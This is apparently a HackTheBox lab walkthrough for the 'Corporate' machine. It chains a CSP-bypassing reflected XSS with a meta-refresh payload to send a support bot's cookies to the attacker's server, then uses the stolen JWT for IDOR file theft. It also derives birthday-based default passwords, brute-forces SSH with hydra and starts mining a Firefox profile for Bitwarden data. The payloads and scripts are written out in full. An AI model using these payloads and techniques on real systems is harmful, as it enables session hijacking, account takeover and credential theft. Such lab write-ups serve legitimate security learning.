30 minutes
6390 Words
2024-05-06 01:57
(Last updated: 2024-05-06 03:04)
Corporate
Initial Enumeration
Add corporate
and corporate.htb
to the hosts file.
Port Scan
nmap -sS -sV -A -O -T4 corporate.htb
- Port 80
- openresty/1.21.4.3
- No obvious CVEs
Foothold
Attacking corporate.htb
Port 80 serves a website for Corporate, with most of the pages being static HTML, as is typical with HackTheBox challenges.
Enumerating Directories
Running gobuster
against the corporate.htb
domain wasn’t super interesting, but revealed two folders worth exploring later: /assets
and /vendor
.
kali@kali:~$ gobuster dir --url corporate.htb --wordlist directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://corporate.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 175] [--> http://corporate.htb/assets/]
/vendor (Status: 301) [Size: 175] [--> http://corporate.htb/vendor/]
We’ll recursively dig deep into these, since they serve 403’s when navigating to them in the browser.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://corporate.htb/assets/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 175] [--> http://corporate.htb/assets/images/]
/css (Status: 301) [Size: 175] [--> http://corporate.htb/assets/css/]
/js (Status: 301) [Size: 175] [--> http://corporate.htb/assets/js/]
We’ve discovered /assets/images
, /assets/css
and /assets/js
. Digging deeper into the directories with gobuster and my wordlist doesn’t reveal more hits.
It does however give us a clue that the homepage might be loading JavaScript assets and that we should look into those later, and we can use our web browser to see what those are. In Chrome, this is as easy as using the “Sources” tab in DevTools.
Enumerating Subdomains / Vhosts
HackTheBox machines typically have “pretend” subdomains in the form of virtual hosts, since there is no DNS resolution for the boxes. Fortunately gobuster
allows us to enumerate these too.
This works by sending requests with the Host
HTTP value set to one of the values in a wordlist, and detecting a HTTP 200 OK, or other status code, to try and detect possible hits.
kali@kali:~$ gobuster vhost --url 10.10.11.246 --domain corporate.htb --append-domain --wordlist subdomains-top1million-110000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.246
[+] Method: GET
[+] Threads: 10
[+] Wordlist: subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: support.corporate.htb Status: 200 [Size: 1725]
Found: git.corporate.htb Status: 403 [Size: 159]
Found: sso.corporate.htb Status: 302 [Size: 38] [--> /login?redirect=]
Found: people.corporate.htb Status: 302 [Size: 32] [--> /dashboard]
This reveals 4 new subdomains to explore. We’ll add these to our /etc/hosts
file so that the computer can navigate to them, and explore them in our browser later on.
kali@kali:~$ cat /etc/hosts
<snip>
10.10.11.246 corporate corporate.htb support.corporate.htb git.corporate.htb sso.corporate.htb people.corporate.htb
</snip>
Further manual enumeration
Discovering XSS in 404 page
404 page accepts URL input into the page template, possibly indicating at XSS vulnerabilities.
Testing this with HTML tags shows that the page does indeed render attacker supplied HTML tags.
Content Security Policy
But trying to execute JavaScript via the vulnerability reveals a strong Content Security Policy (CSP), preventing execution.
Refused to execute inline event handler because it violates the following Content Security Policy directive: "default-src 'self' http://corporate.htb http://*.corporate.htb". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Because of the CSP disallowing inline execution, execution must originate from a file served by the server.
Investigating JavaScript assets
Since we discovered the assets/
and vendor/
directories with gobuster
earlier, we can use Chrome to explore the loaded files a little more efficiently with the Dev Tools.
This reveals the existence of lots of JS bundles, including two instances of analytics.min.js
- one under vendor/
and one nested inside of assets/js/
.
Navigating to the file in Chrome allows us to play with the ?v=
parameter, and we can see that we have control over part of the file. The file is fairly obfuscated, so we can try some automated deobfuscation on the assets/
file with our unique parameter.
deobfuscate.io kindly tells us that the contents seem to be of obfuscated with obfuscate.io and even offers a deobsfuscator specifically for it. Giving it a try, we end up with a much, much more readable short JavaScript file.
const Analytics = _analytics.init({
'app': "corporate-landing",
'version': 0x64,
'plugins': [{
'name': "corporate-analytics",
'page': ({
payload: _0x401b79
}) => {
fetch("/analytics/page", {
'method': "POST",
'mode': 'no-cors',
'body': JSON.stringify(_0x401b79)
});
},
'track': ({
payload: _0x930340
}) => {
fetch("/analytics/track", {
'method': "POST",
'mode': 'no-cors',
'body': JSON.stringify(_0x930340)
});
},
'identify': ({
payload: _0x5cdcc5
}) => {
fetch("/analytics/init", {
'method': "POST",
'mode': "no-cors",
'body': JSON.stringify(_0x5cdcc5)
});
}
}]
});
Analytics.identify(where_is_the_parameter.toString());
Analytics.page();
Array.from(document.querySelectorAll('a')).forEach(_0x40e926 => {
_0x40e926.addEventListener("click", () => {
Analytics.track('click', {
'text': _0x40e926.textContent,
'href': _0x40e926.href
});
});
});
if (document.getElementById("form-submit")) {
document.getElementById("form-submit").addEventListener("click", () => {
Analytics.track("sup-sent");
});
}
It seems like we can supply any value as an argument for Analytics.identify()
, which is defined in the other vendor/analytics.min.js
file. Because we are changing the value of the script with our input, it should be possible to inject an executable statement by closing the function call and using an eval
statement to execute whatever JavaScript we want.
This should conform with the browsers execution policy, since the CSP will allow the analytics.min.js
files. With some trial and error, we can inject a value that should evaluate an alert(1)
into the script.
http://corporate.htb/assets/js/analytics.min.js?v=1337));eval(alert(1));//'
There isn’t anything immediately obvious as a next step, so we’ll keep this exploit in our back-pocket to potentially use later.
Attacking support.corporate.htb
Scrolling down on the homepage and trying to use the Contact form sends you to http://support.corporate.htb/new
, which is a subdomain we found with our earlier enumeration.
Navigating here shows us a page with a “name” field and a “chat” button, which leads us into a chat conversation with a “support agent”.
The URL interestingly shows a UUID, which stays persistent after the conversation has ended and allows you to re-visit old conversations.
Using Chrome’s DevTools, the chat worksvia an automated backend sending messages over a WebSocket, which the page renders.
Discovering XSS
Further playing with the websocket, URL and form input doesn’t yield anything too useful, until discovering that the form allows some XSS. A simple test shows we can render colored text with a <span style="color:red; !important">Injected text</span>
message to the support agent.
At this point, intuition screamed to try and get the support agent to “click” on a link embedded in a message that would use our reflected XSS discovered earlier, to cause an information leak from the agent’s browser (such as a cookie), but this click-event never seemed to happen. I eventually tried a few different potential vectors (body tags, onhover, onload etc) but nothing seemed to work.
A friend of mine reminded me of the <meta>
tag, and of course, this makes a lot of sense. Instead of relying on the “support agent” to trigger an action, we can try reloading their page by combining <meta>
’s http-equiv
and content
verbs.
Sending a chat message with the simple payload below redirects our browser. We’ll combine this attack with the XSS on corporate.htb
in the next step to disclose the agent’s cookies.
Combining two XSS attacks together
Because we should now have a way to work around the CSP restrictions, we can try crafting a URL for the Corporate homepage that triggers our alert, proving we have the ability to perform a reflected XSS.
Ensuring we have the vendor/analytics.min.js
file loaded into the template, which is required to execute assets/js/analytics.min.js
(as mentioned above), we can trigger the alert with the following vector.
http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=1337));eval(alert(1));//'</script>
Navigating to this URL will trigger an alert, demonstrating arbitrary JavaScript execution.
From here, we can redirect the agent via XSS with the <meta>
tag to the first XSS discovered, allowing us to execute malicious JavaScript in their browser via the analytics.js
file.
Stage 1 (Redirecting the Agent)
We can simply send a message in the support chat containing
<meta http-equiv="refresh" content="0; url=http://10.10.14.37">
which would send them to our attacker-controlled web server. We can verify this by checking the logs for the server.
kali@kali:~$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.37 - - [04/May/2024 16:30:18] "GET / HTTP/1.1" 200 -
10.10.11.246 - - [04/May/2024 16:30:18] "GET / HTTP/1.1" 200 -
10.10.14.37
was our browser being redirected, which must mean that 10.10.11.246
was the support agent, proving success.
Stage 2 (Stealing Agent cookies)
Instead of just showing an alert however, we can use window.location
to send them to our own webserver, including document.cookie
in a newly defined document.location
value to redirect the browser again, this time to our attacker-controlled server, dumping all cookies for the domain in the request which will be visible in our server logs.
We’ll tweak the payload from our first XSS to redirect to our server with the cookies.
http://corporate.htb/<script src='/vendor/analytics.min.js'></script><script src='/assets/js/analytics.min.js?v=eval(document.location=`http://10.10.14.37/cookies/${document.cookie}`)'</script>
Final payload
Bringing it all together, we’ll combine the two stages.
<meta http-equiv="refresh" content="0; url=http://corporate.htb/<script src='/vendor/analytics.min.js'></script><script src='/assets/js/analytics.min.js?v=eval(document.location=`http://10.10.14.37/cookies/${document.cookie}`)'</script>">
Posting this into a new support chat conversation immediately results in our browser redirecting to http://10.10.14.37/cookies/
, and checking the logs, we can see that we have successfully managed to dump the cookies for the support agent too.
kali@kali:~$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.37 - - [04/May/2024 16:35:34] "GET /cookies/ HTTP/1.1" 404 -
10.10.11.246 - - [04/May/2024 16:35:34] "GET /cookies/CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NSwibmFtZSI6Ik1hcmdhcmV0dGUiLCJzdXJuYW1lIjoiQmF1bWJhY2giLCJlbWFpbCI6Ik1hcmdhcmV0dGUuQmF1bWJhY2hAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcxNDgwNDUzNSwiZXhwIjoxNzE0ODkwOTM1fQ.CvlmgN48353LnRkXW-RagCa1-YYtmF2rSEqqd6NMOdo HTTP/1.1" 404 -
Cookies are stored in Key=Value
format, so we know the CorporateSSO
cookie has a value of
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NSwibmFtZSI6Ik1hcmdhcmV0dGUiLCJzdXJuYW1lIjoiQmF1bWJhY2giLCJlbWFpbCI6Ik1hcmdhcmV0dGUuQmF1bWJhY2hAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcxNDgwNDUzNSwiZXhwIjoxNzE0ODkwOTM1fQ.CvlmgN48353LnRkXW-RagCa1-YYtmF2rSEqqd6NMOdo
Investigating the stolen Agent cookie
An eye familiar with JSON Web Tokens will recognize it’s structure quickly, and we can use the tools available at https://jwt.io to confirm.
This tool shows us that the cookie is indeed a JWT, with an algorithm of SHA-256, and it has a signature meaning we cannot forge a new payload*.
The payload is specifically interesting because it gives us some idea about the support agent, including an account ID number and their roles, which suggests there might be other, more interesting roles for us to obtain and escalate privilege with.
* - Some JWT implementation vulnerabilities have historically allowed signature bypasses in various forms, but evaluation of this JWT and the website with jwttools
didn’t yield anything usable.
Attacking sso.corporate.htb
Now that we’ve successfully stolen the cookie and know a bit more about it, we can set it in our browser for the corporate.htb
domain and see what changes for us. My favorite way to do this when a tool like BurpSuite isn’t necessarily needed is to use Chrome’s Dev Tools.
We can refresh the corporate.htb
and support.corporate.htb
domains, but nothing seems to change. Navigating to sso.corporate.htb
however reveals a login page. Since SSO stands for Single Sign On and often relies on a single authentication cookie for many services, we can try setting the same cookie for the sso.corporate.htb
domain too.
Setting the cookie and refreshing reveals the automatic creation of a couple more cookies, as well as a new landing page at sso.corporate.htb/services
.
Navigating to “Password Resets” shows us a password reset form that requires the current password, which we don’t know, so it isn’t much help. Navigating to “Our People” redirects us to people.corporate.htb/auth/login
, where can try setting the CorporateSSO
cookie again, and then try navigating directly to people.corporate.htb
which successfully presents us with an employee dashboard.
Attacking people.corporate.htb
Once we’re successfully authenticated as support agent “Dangelo Koch” to the employee portal, we’re greeted with a variety of paths to explore, most interestingly “Chat” and “Sharing”
His user profile doesn’t seem too interesting, but does reflect the JWT payload we discovered earlier, noting his employee ID and account roles but also shows some additional information not present in the cookie, like email and birthday.
Investigating Chat
Chat shows a WebSocket based chat with other employees, similar to the support agent chat from earlier. This one shows clickable links to other employees however, were we can visit their user profiles.
Messages are randomly sent from other “employees”, and monitoring the chat for a while doesn’t show any particularly interesting messages. Fortunately for them, this chat doesn’t seem to be vulnerable to XSS.
Enumerating all employees
Clicking on another employees name brings us to their own profile page, which is keyed by their user ID, present in the URL.
With a quick and dirty Python script, we can dump the available information about all employees.
#!/usr/bin/python
import requests
import re
URL = "http://people.corporate.htb/employee/"
HEADERS = {"Cookie": "CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MTQ4MDcyMTIsImV4cCI6MTcxNDg5MzYxMn0.LsB9xWNMsQqkiQv2fFEO1u8Ov91YdH3cKSaF3SrYVds; session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=3y2esAruovMhpqjBrx47ErycM4Q"}
REGEX = re.compile(r'<.*?>')
for x in range(4990, 5090):
url = URL + str(x)
resp = requests.get(url, headers=HEADERS)
if "Sorry, we couldn't find that employee!" not in resp.text:
# Employee was found
roles = ""
name = ""
birthday = ""
idnum = ""
email = ""
last_line = ""
for line in resp.text.split("\n"):
if "<th scope=\"row\">Roles</th>" in last_line:
roles = line
elif ">Viewing" in line:
name = line
elif "<th scope=\"row\">Birthday</th>" in last_line:
birthday = line
elif "src=\"/employee/avatar/" in line:
idnum = line
elif "<a href=\"mailto:" in line:
email = line
last_line = line
roles = REGEX.sub('', roles).strip()
name = REGEX.sub('', name).replace("Viewing", "").strip()
birthday = REGEX.sub('', birthday).strip()
idnum = idnum.split("/")[3].replace("\"", "").strip()
email = REGEX.sub('', email).strip()
print("{}, {}, {}, {}, {}".format(name, roles, birthday, idnum, email))
Saving the output to a file allows us to quickly look up any employee we might need in the future.
kali@kali:~/x$ ./enum_employees.py > employees
kali@kali:~/x$ cat employees | head -n 10
Ward Pfannerstill, Engineer, 5/4/1971, 5001, ward.pfannerstill@corporate.htb
Oleta Gutmann, Hr, 11/11/1965, 5002, oleta.gutmann@corporate.htb
Kian Rodriguez, Engineer, 6/8/1957, 5003, kian.rodriguez@corporate.htb
Jacey Bernhard, Consultant, 5/10/1990, 5004, jacey.bernhard@corporate.htb
Veda Kemmer, Hr, 11/14/1980, 5005, veda.kemmer@corporate.htb
Raphael Adams, Finance, 1/28/2001, 5006, raphael.adams@corporate.htb
Stevie Rosenbaum, Sysadmin, 10/20/1987, 5007, stevie.rosenbaum@corporate.htb
Halle Keeling, Finance, 2/22/1982, 5008, halle.keeling@corporate.htb
Ross Leffler, Consultant, 4/11/1963, 5009, ross.leffler@corporate.htb
Marcella Kihn, Consultant, 10/9/1959, 5010, marcella.kihn@corporate.htb
Investigating Sharing
Navigating to the “Sharing” page reveals 3 files for Dangelo, including an OpenVPN profile as well as an upload form, which lets us upload files that we want, and can then download and share later.
Analyzing our files and discovering a VPN server
Downloading all three files, two Word documents and an OpenVPN profile, allows us to view them locally. The word documents don’t seem to give much detail away, but our VPN profile reveals the existence of a VPN server.
Each of our files are downloadable by making a HTTP GET request to http://people.corporate.htb/sharing/file/${file_id}
, which hints at the existence of an RESTful API for the employee dashboard.
kali@kali:~/Downloads$ cat dangelo-koch.ovpn
client
proto udp
explicit-exit-notify
remote corporate.htb 1194
<snip>
Investigating sharing, and sensitive files
Clicking the share button allows us to share files with an employees email address. There seems to be some restrictions though - we cannot share files to ourselves, and we cannot share files marked as “Sensitive”.
Looking at the request in BurpSuite’s proxy reveals the way these files are shared via POST API call to /sharing
, specifying the fileId
and email
as form parameters.
Discovering and stealing files from other employees
To overcome the self-sharing restriction, we can steal the cookies for a different support agent, and share the files to them instead - accessing them through a second compromised account.
Repeating the combined XSS attack from earlier against a support agent who isn’t Dangelo nets us a new set of credentials, in this case, “Candido Hackett”. We’ll log in as this user in a separate Incognito session to allow multiple logins at once.
Now we’ll write a Python script to share the files to the second compromised employee, Candido.
#!/usr/bin/python
import requests
URL = "http://people.corporate.htb/sharing"
EMAIL = "candido.hackett@corporate.htb"
HEADERS = {"Cookie": "CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MTQ4MDcyMTIsImV4cCI6MTcxNDg5MzYxMn0.LsB9xWNMsQqkiQv2fFEO1u8Ov91YdH3cKSaF3SrYVds; session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=3y2esAruovMhpqjBrx47ErycM4Q"}
for x in range(0, 400):
data = {"fileId": x, "email": EMAIL}
resp = requests.post(URL, data, headers=HEADERS)
print(resp.text)
print("==")
print("Done")
We can view the response in resp.text
to see if files are being successfully shared, or whether there is some authentication issue. After the script completes, we can refresh the “Sharing” page for Candido, and use the webpage to download them all.
All of the .docx files I reviewed were useless, and since OpenVPN profiles are marked as sensitive they can not be shared. Carefully scouring the list of shared files shows an outlier PDF, which we’ve successfully stolen from another employee.
Building a list of default credentials for all users
Downloading and opening the PDF reveals a “welcome pack” document, and page 7 shows us that there is a predictable, default password for new accounts in the format of CorporateStarterDDMMYYYY
.
Using this information and the employee data scraped earlier, we can generate potential passwords for all users, which might be useful later.
kali@kali:~/x$ cat employees | grep "Callie"
Callie Goldner, Hr, 5/14/1967, 5030, callie.goldner@corporate.htb
This should make her password CorporateStarter14051967
. A quick addition to our python script will let us generate these as part of the output.
roles = REGEX.sub('', roles).strip()
name = REGEX.sub('', name).replace("Viewing", "").strip()
birthday = REGEX.sub('', birthday).strip()
idnum = idnum.split("/")[3].replace("\"", "").strip()
email = REGEX.sub('', email).strip()
mm, dd, yyyy = birthday.split("/")
defaultpass = "CorporateStarter" + dd + mm + yyyy
print("{}, {}, {}, {}, {}, {}".format(name, roles, birthday, idnum, email, defaultpass))
kali@kali:~/x$ ./enum_employees.py > employees
kali@kali:~/x$ cat employees | grep "Callie"
Callie Goldner, Hr, 5/14/1967, 5030, callie.goldner@corporate.htb, CorporateStarter14051967
User
Connecting to the Corporate Intranet
Using the OpenVPN profile we stole from an employee earlier, we can use openvpn
to connect to the Corporate intranet.
kali@kali:~$ sudo openvpn ~/Downloads/dangelo-koch.ovpn
2024-05-04 18:12:36 Note: Kernel support for ovpn-dco missing, disabling data channel offload.
2024-05-04 18:12:36 OpenVPN 2.6.7 aarch64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2024-05-04 18:12:36 library versions: OpenSSL 3.1.4 24 Oct 2023, LZO 2.10
<snip>
2024-05-04 18:12:36 net_addr_v4_add: 10.8.0.2/24 dev tun1
2024-05-04 18:12:36 net_route_v4_add: 10.9.0.0/24 via 10.8.0.1 dev [NULL] table 0 metric -1
2024-05-04 18:12:36 Initialization Sequence Completed
The output from openvpn
tells us about the network range, 10.8.0.2/24
as well as a new route pushed from the server: 10.9.0.0/24 via 10.8.0.1
. We’ll scan both of those networks immediately.
Enumerating Intranet hosts
kali@kali:~$ sudo nmap -sS -sV -O -A -T4 10.8.0.0/24 -p1-65535
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 18:13 AEST
Nmap scan report for 10.8.0.1
Host is up (0.0080s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 4f:7c:4a:20:ca:0c:61:3b:4a:b5:67:f6:3c:36:f7:90 (RSA)
| 256 cc:05:3a:28:c0:18:fa:52:c5:f7:b9:28:c9:ce:09:31 (ECDSA)
| 256 e8:37:e6:93:6d:eb:d7:74:e4:83:e9:54:4d:e6:95:88 (ED25519)
80/tcp open http OpenResty web app server 1.21.4.3
| http-title: Did not follow redirect to http://corporate.htb
| http-server-header: openresty/1.21.4.3
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
| ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ldap.corporate.htb
| Subject Alternative Name: DNS:ldap.corporate.htb
| Not valid before: 2023-04-04T14:37:34
| Not valid after: 2033-04-01T14:37:35
636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X
| ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ldap.corporate.htb
| Subject Alternative Name: DNS:ldap.corporate.htb
| Not valid before: 2023-04-04T14:37:34
| Not valid after: 2033-04-01T14:37:35
2049/tcp open nfs 4 (RPC #100003)
3004/tcp open csoftragent?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 303 See Other
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Location: /explore
| Set-Cookie: i_like_gitea=48b5da7ba2b19366; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=1nigLAU-5MFzY8GZFEDObIZxXIQ6MTcxNDgxODg4NDcyOTAxNDc0OA;
3128/tcp open http Proxmox Virtual Environment REST API 3.0
| http-server-header: pve-api-daemon/3.0
| http-title: Site doesn't have a title.
8006/tcp open wpl-analytics?
| fingerprint-strings:
| HTTPOptions:
kali@kali:~$ sudo nmap -sS -sV -O -A -T4 10.9.0.0/24 -p1-65535
<snip>
Nmap scan report for 10.9.0.4
Host is up (0.0073s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2f:b1:d4:7c:ac:3a:2c:b1:ee:ee:6f:7f:df:41:29:c3 (ECDSA)
| 256 f0:25:8e:11:26:bd:f3:78:65:59:32:c3:55:7e:99:e5 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
The scans show a number of services are available on 10.8.0.1
including SSH, LDAP, NFS and a Proxmox instance. Scanning the 10.9.0.0/24
network reveals a host (10.9.0.4
) also running SSH and likely a portmapper instance on port 111.
The 10.9.0.0/24
scan also showed reveals a 10.9.0.1
host, mirroring the 10.8.0.1
host. This seems to be the same host, just on both networks.
Attacking SSH
Attacking SSH on 10.8.0.1
Since we’ve built a list of default passwords for all users, we can use hydra
to brute force SSH login on 10.8.0.1
.
We’ll split the users and passwords out into separate files to make hydra’s usage easier, with some awk magic.
kali@kali:~/x$ cat employees | awk '{split($0, a, ", "); split(a[5], b, "@"); printf("%s:%s\n", b[1],a[6])}' > credentials
kali@kali:~/x$ cat credentials | head -n 5
ward.pfannerstill:CorporateStarter04051971
oleta.gutmann:CorporateStarter11111965
kian.rodriguez:CorporateStarter08061957
jacey.bernhard:CorporateStarter10051990
veda.kemmer:CorporateStarter14111980
and now we can feed them into hydra
:
hydra -C credentials 10.8.0.1 ssh -t 8
Unfortunately we don’t yield any results.
Attacking SSH on 10.9.0.4
Trying the same attack against 10.9.0.4
however yields some successful logins:
kali@kali:~/x$ hydra -C credentials 10.9.0.4 ssh -t 32 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[DATA] attacking ssh://10.9.0.4:22/
[22][ssh] host: 10.9.0.4 login: laurie.casper password: CorporateStarter18111959
[22][ssh] host: 10.9.0.4 login: elwin.jones password: CorporateStarter04041987
[22][ssh] host: 10.9.0.4 login: nya.little password: CorporateStarter21061965
[22][ssh] host: 10.9.0.4 login: brody.wiza password: CorporateStarter14071992
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-04 20:55:1
Obtaining the user flag
Trying one of the logins via SSH for 10.9.0.4
drops us into the host, where we can immediately see the user.txt flag.
kali@kali:~/x$ ssh elwin.jones@10.9.0.4
elwin.jones@10.9.0.4's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
Last login: Sat May 4 10:56:59 2024 from 10.9.0.1
elwin.jones@corporate-workstation-04:~$ cat user.txt
c6a417d2103c9a47e72b1c14d1b54e2e
elwin.jones@corporate-workstation-04:~$
While the others can also read the flag, Elwin has the “IT” role according to our employee dump, so we’ll pick him because he likely has higher privileges in the system.
Root
Enumerating the host
The only interesting artifacts I found on the host as Elwin were the home directories, including /home/guest/elwin.jones
and /home/sysadmin
, which is unreadable by a user with our permissions.
elwin.jones@corporate-workstation-04:/home$ ls -lah
total 12K
drwxr-xr-x 4 root root 4.0K Apr 18 2023 .
drwxr-xr-x 20 root root 4.0K May 5 08:05 ..
drwxr-xr-x 5 root root 0 May 5 12:43 guests
drwxr-x--- 5 sysadmin sysadmin 4.0K Nov 28 15:28 sysadmin
elwin.jones@corporate-workstation-04:/home$ ls -lah guests/elwin.jones/
total 68K
drwxr-x--- 14 elwin.jones elwin.jones 4.0K Nov 27 19:54 .
drwxr-xr-x 5 root root 0 May 5 12:43 ..
<trim>
elwin.jones@corporate-workstation-04:/home$
Docker is also installed, however we aren’t able to access it without root because the Docker socket is protected.
elwin.jones@corporate-workstation-04:~$ docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
Running ls
on the Docker socket reveals that users in the engineer
group can read and write to the socket, but Elwin is only in the elwin.jones
and it
groups.
elwin.jones@corporate-workstation-04:~$ ls -la /run/docker.sock
srw-rw---- 1 root engineer 0 May 5 05:12 /run/docker.sock
elwin.jones@corporate-workstation-04:/home$ id
uid=5021(elwin.jones) gid=5021(elwin.jones) groups=5021(elwin.jones),503(it)
elwin.jones@corporate-workstation-04:/home$
Exploring Elwin’s user directory
Taking a closer look at Elwin’s home directory, we’ll eventually come across .mozilla
, which looks to be the profile directory for Elwin’s Firefox instance.
elwin.jones@corporate-workstation-04:~/.mozilla$ ls
extensions firefox
elwin.jones@corporate-workstation-04:~/.mozilla$
It’ll be easier to explore the directories on our local machine. Once the files have been transferred with scp
, further exploration can start.
Analyzing Firefox Profiles
Once we’re inside, we see that there seem to be two profiles. We’ll start with the default-release profile.
kali@kali:~/x/mozilla/firefox$ ls
'Crash Reports' 'Pending Pings' installs.ini profiles.ini tr2cgmb6.default-release ye8h1m54.default
kali@kali:~/x/mozilla/firefox$ cd tr2cgmb6.default-release
kali@kali:~/x/mozilla/firefox/tr2cgmb6.default-release$
Firefox stores some potentially sensitive data like searches, cookies and form history in SQLite3 databases, and hunting for those with find
reveals the location of them inside this profile.
kali@kali:~/x/mozilla/firefox/tr2cgmb6.default-release$ find . -name "*sqlite"
./content-prefs.sqlite
./formhistory.sqlite
./protections.sqlite
./favicons.sqlite
./places.sqlite
./storage/permanent/chrome/idb/3561288849sdhlie.sqlite
./storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite
./storage/permanent/chrome/idb/2918063365piupsah.sqlite
./storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite
./storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite
./storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite
./storage/default/https+++addons.mozilla.org/idb/1310459950addndeotnnso-rf.sqlite
./storage/default/https+++bitwarden.com/ls/data.sqlite
./storage/default/https+++www.google.com/ls/data.sqlite
./storage/default/moz-extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite
./storage/ls-archive.sqlite
./storage.sqlite
./webappsstore.sqlite
./cookies.sqlite
./permissions.sqlite
./credentialstate.sqlite
kali@kali:~/x/mozilla/firefox/tr2cgmb6.default-release$
Sorting through top-level databases first exposes some interesting artifacts relating to the BitWarden password manager:
kali@kali:~/x/mozilla/firefox/tr2cgmb6.default-release$ sqlite3 formhistory.sqlite
sqlite> SELECT id, fieldname, value FROM moz_formhistory;
1|searchbar-history|bitwarden firefox extension
2|email|elwin.jones@corporate.htb
3|searchbar-history|is 4 digits enough for a bitwarden pin?
sqlite> .quit
kali@kali:~/x/mozilla/firefox/tr2cgmb6.default-release$ sqlite3 cookies.sqlite
sqlite> SELECT name, value, host, path FROM moz_cookies;
<snip>
